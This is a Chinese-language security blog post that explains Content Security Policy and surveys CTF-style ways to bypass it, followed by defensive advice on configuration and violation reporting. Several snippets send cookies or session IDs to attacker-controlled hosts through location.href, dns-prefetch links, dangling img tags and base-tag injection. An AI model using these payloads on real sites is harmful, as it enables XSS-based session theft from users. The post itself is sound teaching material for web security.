浅谈CSP与Bypass

总结一下CSP相关的一些知识

总觉得所学过浅, 十分惭愧

更新部分内容

MDN定义

首先我们需要了解什么是同源策略, 可以查看我上一篇文章

https://cjm00n.top/Web/same-origin-policy-and-bypass-it.html

接下来看一下什么是CSP

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to distribution of malware.
内容安全策略(CSP)是安全性的附加层,有助于检测和缓解某些类型的攻击,包括跨站点脚本(XSS)和数据注入攻击。 这些攻击可用于从数据盗窃,站点损坏到恶意软件分发的所有方面。

可以看到, CSP的主要目的是用来防止XSS攻击, 我认为对于CSP有一句话很重要

请将CSP作为对抗攻击的最后而不是唯一的防线

这也很好理解, 我们都应该对输入进行足够的过滤, 仅仅依靠CSP是不够安全的, CSP的特点总结如下

  • 白名单模式, 通过白名单的方法来进行过滤
  • 向后兼容, 如果某个CSP策略浏览器不支持, 仅仅是将其忽略而不会产生错误

配置的方法主要有两种

  1. 使用meta标签

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

  2. 使用header标注

    header("Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';");

这两种方法的区别主要有

  1. 当同时使用时, 以header为准

  2. header头可能会被中间代理缓存, 两者的缓存机制不同

  3. 两者的作用范围不同, meta标签仅在同一页面生效, header对于服务端生效

  4. 部分标签的使用情况不同, 例如report-to/ report-uri 只能在header中配置

相关语法

主要参考自 https://websec.readthedocs.io/zh/latest/vuln/xss/csp.html

指令

指令 说明
default-src 定义默认加载策略, 如果相应策略没有定义则采用此策略
connect-src 定义Ajax, WebSocket等加载策略
font-src 定义Font加载策略
frame-src 定义frame加载策略
img-src 定义图片加载策略
media-src 定义audio, video等引用资源加载策略
object-src 定义applet, embed, object等引用资源加载策略
script-src 定义js加载策略
style-src 定义css加载策略
base-uri 定义base根url策略, 不使用default-src作为默认策略
sandbox 默认值为allow-forms, 对资源启用sandbox
report-uri 默认值为/report-uri定义提交日志的策略

说明
none 不匹配所有值, 即禁止加载
* 匹配任意值, 即可加载任意内容
self 只能加载同源资源
data: 允许通过data:协议加载
domain.example.com 仅从特定的域加载资源
*.example.com 允许从example.com的所有子域加载资源
https: 只能使用https加载资源
unsafe-inline 允许内部资源执行代码例如style attribute,onclick或者是sicript标签
unsale-eval 允许一些不安全的代码执行, 例如eval

语法

csp的语法大致如下

directive value1 value2;

下面给出一些示例

default-src 'self'

所有的引用都只能来自于同域和子域

default-src 'self' *.trusted.com

所有的引用除了来自于同域和子域, 还可以来自于trusted.com的所有子域

default-src 'self'; script-src 'self' 'unsafe-inline';

script允许内联代码但不能引入外部资源

在编写的时候我们可以借助 cspisawesome.com

检测

首先当我们拿到一个CSP, 我们可以使用 https://csp-evaluator.withgoogle.com/ 来进行检测, 这里以hackmd上的为例

点击可以看到具体的内容, 我们看一下script-src

可以看到这里有CDN和unsafe-eval, @orange 利用这两个成功绕过了hackmd的CSP

A Wormable XSS on HackMD!

Bypass

主要参考自 https://xz.aliyun.com/t/5084

location.href

这个在CTF中十分常见, 因为CSP不会限制location.href的跳转, 所以我们可以利用这个外带数据

location.href = "vps_ip:xxxx?"+document.cookie

利用条件是需要页面没有限制跳转(例如[RCTF2019] jali), 以及cookie不是httponly

https://www.anquanke.com/post/id/84803

对于某些情况, 我们可以通过dns-fetch来进行外带, 例如

<link rel="dns-prefetch" href="http://hack.com/">

获取cookie

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel='dns-prefetch' href='//' + sessionid + 'attacker.ch'>";

然后使用 ceye.io 来接收数据

iframe绕过

其实我认为这个绕过, 更多的是CSP保护不完整导致的

需要的条件如下

  • 两个同源站点
  • A站点存在CSP, 而B站点没有CSP
  • B站点存在XSS

那么我们可以通过iframe标签来获取A页面的数据

<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>

设置一个setTimeout是等待iframe加载完成, 因为是动态添加的需要一定时间

不完整标签

这个涉及到浏览器对于标签的解析了, 我们知道浏览器对于html解析其实是比较宽容的, 假设有下面的服务端

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

可以观察到script是有nonce保护的, 并且我们的可控点是在nonce上面, 这种情况下, 我们可以利用浏览器的宽容处理来进行bypass

xss=123<script src="data:text/plain,alert(1)" a=123 a=

首先是注入一个不完整的script标签, 这时浏览器会寻找匹配的>, 然后将中间的部分全部作为属性, 并且浏览器还有一个特性, 如果出现两个一样的属性名, 会忽略后面的相同属性, 因此我们nonce的部分全部忽略了, 成功的注入了请求

我实测了一下, 发现在crhome下面, 默认是不支持data协议的, 需要改为

script-src 'nonce-xxxxx' data:

当然在firefox下就可以直接弹窗了

另外一种是通过外带的方式, 例如如下的示例

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}>/h1>
<h2 id="id">3>/h2>

我们可以通过引入不闭合引号的img 标签来进行外带, 例如

xss=123<img src="http://vps_ip/a=

如果是chrome下的话, 就会出现

这就是404厂的实力吗XD

base-uri

划重点: base-uri不会使用default-src作为默认值

例题是[RCTF2018] rBlog的非预期解

我们可以通过base标签将上下文ip设置为我们的vps, 如果存在相对路径的文件引入, 则会引入我们vps上的文件

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js">>/script>

限制条件如下

  • script-src: 设置为nonce保护, 如果是self或其他的域则无法使用
  • 没有设置base-uri
  • 存在相对引用且我们的注入点在上面

JSONP绕过

我们知道jsonp会返回json数据, 并且存在我们可控的点, 那如何用在CSP的绕过呢?

主要是依赖于CSP中script-src对于某些站点的开放, 并且这些站点刚好存在用户可控的jsonp, 那么我们就可以利用来进行绕过

例如下面这个csp

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

google刚好就存在这样一个jsonp的可控点

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert">>/script>

相关的题解可以查看 https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere

CDN

可以看一下 https://lorexxar.cn/2017/02/16/cdn-bypass-csp/ 以及上面提到的 @orange 的cdn利用 A Wormable XSS on HackMD!

一般来说, 为了提升网站的加载速度(我的博客也是2333), 我们会引用cdn的一些静态文件, 因此一般CSP中都会对CDN进行放行, 就出现了一些有趣的思路

例如我们看到hackmd的例子, 里面使用的是angular.js v1.0.8

我们现在去看一下, 发现这个版本的依然存在

也就是说我们可以通过cdn上面一些存在漏洞的js库来进行代码执行, 这里有总结了大部分存在问题的库

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

CSS绕过

这个思路太神仙了, 典型例子就是[XCTF final 2019] noxss, 参考 https://blog.zeddyu.info/2019/11/21/XCTF-Final-noxss/

后面会再出一篇具体的介绍这个攻击思路, 这里先简单聊一聊

既然我们不能执行js, 那为什么不试试css呢

不过这要满足几个特定的条件

  • 可以引入或内联css
  • 可以多次执行而数据不会变(例如CSRF_TOKEN就不行)

在CSS中存在选择器, 常见的有

#id
.classname
tagname

而我们需要的是下面这种匹配的选择器

input[value^="a"] { }

匹配的是value以a开头的input标签, 那怎么外带呢

在css中我们可以通过backgrou来进行外部请求

background: url(http://127.0.0.1/);

两个连起来, 如果匹配到某一位, 就进行外连, 这很像sql注入逐位爆破的思路

在实际中还是应用比较少, 毕竟很少有数据是一直不变的, 而且这样动静太大了2333

serviceworker绕过

这个是看[RCTF2019] jail的一个预期解, 限制条件大概如下

  • 需要注册同源的js文件
  • 网站运行在https下
  • Content-Type必须是js

具体的内容我们可以查看 https://lorexxar.cn/2018/04/20/SW-xss/ 介绍

但是这个限制条件比较多, 一般比较少用, 不过 @lorexxar 师傅通过结合jsonp和serviceworker来绕过的思路很好, 解决了文件上传和Content-Type的问题, 因为jsonp刚好就符合返回类型的特点, 并且同站的服务一般会在同源下

WebRTC绕过

这个也是看[RCTF2019] jail的一个预期解

WebRTC will ignore connect-src, see: https://github.com/w3c/webrtc-pc/issues/1727. It seems they have no plan to fix this.

但可惜的是, 我再去看的时候发现已经修复了

文件上传

当对于一个CSP无从下手的时候, 可以考虑一下是否有文件上传

如果可以文件上传, 那这样的限制

script-src: 'self';

就毫无意义了, 我们可以上传js, wave, pdf甚至gif来进行绕过, 几乎等于任意js代码执行了

可以参考 Use Wave File Bypass CSP

防御思路

我认为最重要的话依然是

请将CSP作为对抗攻击的最后而不是唯一的防线

那如果从CSP的角度, 我们可以做什么防御呢

CSP配置

对于不必要的标签我们应当配置self或者none, 尽量避免配置*

report

这个是用于在发生CSP违例的时候, 如果配置了正确的report-uri或者report-to, 则会发送相应请求报告违例情况

但注意, report-uri已经被废弃, 在CSP3.0中推荐使用report-to

可以查看MDN上面的相关介绍

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only

例如对于这样的CSP

Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports

如果加载了其他位置的css, 则会发送一个json格式的报告

{
"csp-report": {
"document-uri": "http://example.com/signup.html",
"referrer": "",
"blocked-uri": "http://example.com/css/style.css",
"violated-directive": "style-src cdn.example.com",
"original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
"disposition": "report"
}
}

当存在XSS攻击的时候, 触发到CSP时, 这样的报告可以让我们拥有快速反应的能力, 从而减少风险, 这里我的想法是应该尽量严格的控制CSP, 才能加大触碰的几率

对于一些大厂, 由于项目的历史原因可能没有办法上严格的CSP(例如将script写在html中), 那么报告机制就比较必要了

另外一个有趣的思路是通过report-to可以进行登录状态的探测

利用CSP探测网站登陆状态(alipay.baidu为例)

例如在支付宝中, 会有一个统一的登录入口, 而其他的页面需要登录后才能查看, 未登录会跳转到登录入口

在网站中, 配置img-src的值为https://my.alipay.com, 然后添加一个img标签, src为https://my.alipay.com/portal/i.htm, 再配置对应的report-to, 在登录状态下, 会正常的加载, 不会进行report, 而在未登录状态下, 由于302跳转会使得img加载的是https://auth.alipay.com/login/index.htm, 也就是登录入口, CSP校验不通过, 会向report-to端报告, 通过这样的方法可以进行用户登录状态的一个检测.

参考链接

  1. https://xz.aliyun.com/t/5084
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
  3. https://lorexxar.cn/2016/08/08/ccsp/
  4. [Use Wave File Bypass CSP]([https://meizjm3i.github.io/2018/05/12/Use%20Wave%20File%20Bypass%20CSP/](https://meizjm3i.github.io/2018/05/12/Use Wave File Bypass CSP/))


作者: cjm00n
地址: https://cjm00n.top/Web/csp-and-bypass-it.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

学习CVE-2020-1938 浅析同源策略及Bypass

评论